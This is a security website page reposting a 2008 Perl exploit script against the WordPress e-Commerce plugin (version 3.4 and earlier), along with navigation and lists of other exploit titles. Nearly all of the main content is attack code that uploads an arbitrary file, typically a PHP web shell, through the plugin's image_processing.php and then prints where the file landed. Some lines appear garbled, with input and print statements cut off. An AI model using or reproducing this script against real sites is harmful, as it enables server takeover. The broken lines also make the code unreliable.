首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload Exploit
来源:vfocus.net 作者:t0pP8uZz 发布时间:2008-10-30  
#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(99999) . ".php"; # no int()

print <);
    
print "\nEnter File Path(path to local file to upload): ";
    chomp(my $file=);
    
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url . '/wp-content/plugins/wp-shopping-cart/image_processing.php',
                      Content_Type => 'form-data',
                      Content      => [ Submit => "Add", image => [ $file, $fname, Content_Type => 'plain/text' ], ] );

die "Exploit Failed: HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /Fatal error/i) { 
    print "Complete! To see if exploit was successfull visit the following URL for your uploaded file.\n";
    print "Uploaded File: " . $url . "/wp-content/plugins/wp-shopping-cart/" . $fname . "\n";
} else
{
    print "Exploit Failed! Target host not vulnerable!\n";
}
exit;


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mambo Component SimpleBoard <=
·7Shop <= 1.1 Remote Arbitrary
·MW6 Aztec ActiveX (Aztec.dll)
·PacketTrap TFTPD 2.2.5459.0 Re
·MW6 Barcode ActiveX (Barcode.d
·MW6 DataMatrix ActiveX (DataMa
·DjVu ActiveX Control 3.0 Image
·MW6 PDF417 ActiveX (MW6PDF417.
·Visagesoft eXPert PDF ViewerX
·Opera 9.61 opera:historysearch
·H2O-CMS <= 3.4 Remote Command
·DebugDiag suffers from a NULL
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved